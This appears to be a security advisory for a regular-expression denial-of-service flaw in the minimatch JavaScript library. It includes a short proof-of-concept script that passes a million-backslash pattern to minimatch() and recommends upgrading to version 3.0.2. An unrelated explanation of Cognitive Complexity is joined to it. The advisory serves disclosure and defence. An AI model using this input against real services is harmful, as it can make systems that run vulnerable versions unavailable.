Regular Expression Denial of Service

Overview:

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) is vulnerable to ReDoS in the pattern parameter. This is because of the regular expression on line 521 of minimatch.js: /((?:\\{2})*)(\\?)\|/g,. The problematic portion of the regex is ((?:\\{2})*) which matches against \\.

A proof of concept is as follows: ``` var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```

Recommendation:

Updated to version 3.0.2 or greater

Cognitive Complexity

Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

A method's cognitive complexity is based on a few simple rules:

• Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
• Code is considered more complex for each "break in the linear flow of the code"
• Code is considered more complex when "flow breaking structures are nested"

Further reading

• Cognitive Complexity docs
• Cognitive Complexity: A new way of measuring understandability